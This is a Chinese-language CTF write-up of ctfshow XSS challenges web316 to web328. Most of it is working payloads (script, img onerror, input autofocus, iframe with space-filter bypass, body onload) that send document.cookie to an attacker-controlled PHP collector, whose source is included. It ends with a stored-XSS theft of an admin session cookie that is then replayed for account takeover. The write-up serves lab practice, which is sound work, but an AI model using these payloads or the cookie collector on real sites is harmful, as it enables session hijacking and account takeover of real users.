xss漏洞
xss漏洞原理
web316
有一个输入框
输入一个简单的script代码测试一下是否有xss漏洞
1
| <script>alert('hah')</script>
|
生成了一个警告框,说明有xss漏洞
1 2
| <script>alert(document.cookie)</script> //flag=you%20are%20not%20admin%20no%20flag
|
应该是自己x了自己
传到我们自己的服务器上
这是我提前写好的b.php
1 2 3 4 5 6 7 8 9 10 11
| <?php $filename="/var/www/html/flag.txt"; $data=$_GET[a];
$result=file_put_contents($filename,$data);
if($result!==false){ echo "cg"; }else{ echo "no"; }
|
payload:
1
| <script>document.location.href="http://ipipipip/b.php?a="+document.cookie</script>
|
上传后页面跳转,显示cg,而我们b.php里cg代表上传成功
进入flag.txt查看写入内容
1
| PHPSESSID=; flag=ctfshow{a6e4f621-36bf-442b-bcd4-c489b31f3696}
|
web317
这题过滤了script大小写,但我们可以用img,input等等方法
img
1
| <img src='' onerror=location.href='http://ipipip/b.php?a='+document.cookie>
|
input
1
| <input onfocus="window.open('http://ipipip/b.php?a='+document.cookie)" autofocus>
|
web318
增加了对img的过滤,但没过滤iput
1
| <input onfocus="window.open('http://ipipip/b.php?a='+document.cookie)" autofocus>
|
web319
没有测试过滤了什么,但input仍然未被过滤,继续使用
1
| <input onfocus="window.open('http://ippipi/b.php?a='+document.cookie)" autofocus>
|
web320
测试了很多标签,但都没用
本题过滤了空格,空格用%09代替
payload:
1 2 3
| ?msg=<iframe%09onload%3D"alert('ll')"><%2Fiframe>
?msg=<iframe%09onload%3D"window.open('http%3A%2F%2Fipipippip%2Fb.php%3Fa%3D'%2Bdocument.cookie)"><%2Fiframe>
|
在url上输入,在框内输入会被编码
web321-322
同上
web323-326
过滤了iframe
用body
1
| <bodyonload="window.location.href='http://ipipipip/b.php?a='+document.cookie"></body>
|
web327
存储型xss
发件人随意,收件人admin不然会失败
x信的内容
1
| <bodyonload="window.location.href='http://ipipipip/b.php?a='+document.cookie"></body>
|
web328
随便翻翻,用户管理需要admin才能查看账户密码
先狠狠的注入
经过测试用户名和密码都可以输入xss代码,没有限制
以用户名举例(经过测试,万能的body在这里不能用,反而script可以用)
1 2
| user:<script>document.location.href="http://ippiip/b.php?a="+document.cookie</script> password:123
|
登录成功后看看我们的服务器flag.txt有没有收到内容
得到了一个PHPSESSID,但没有flag
这是管理员cookie
把cookie改了伪造下
先前不是说只有管理员才能看用户密码吗
切到用户管理页面,发现内容还是被不可见,但我们确实显示是admin了
抓个包试试
第一个包没有什么信息,但是我们又额外抓了一个包

通过它的get信息?page=1&limit=10
知道了这是抓到了表格的包
它的cookie还是原来自己的cookie,我们将它改为获取的管理员cookie
返回界面,内容不再被遮掩
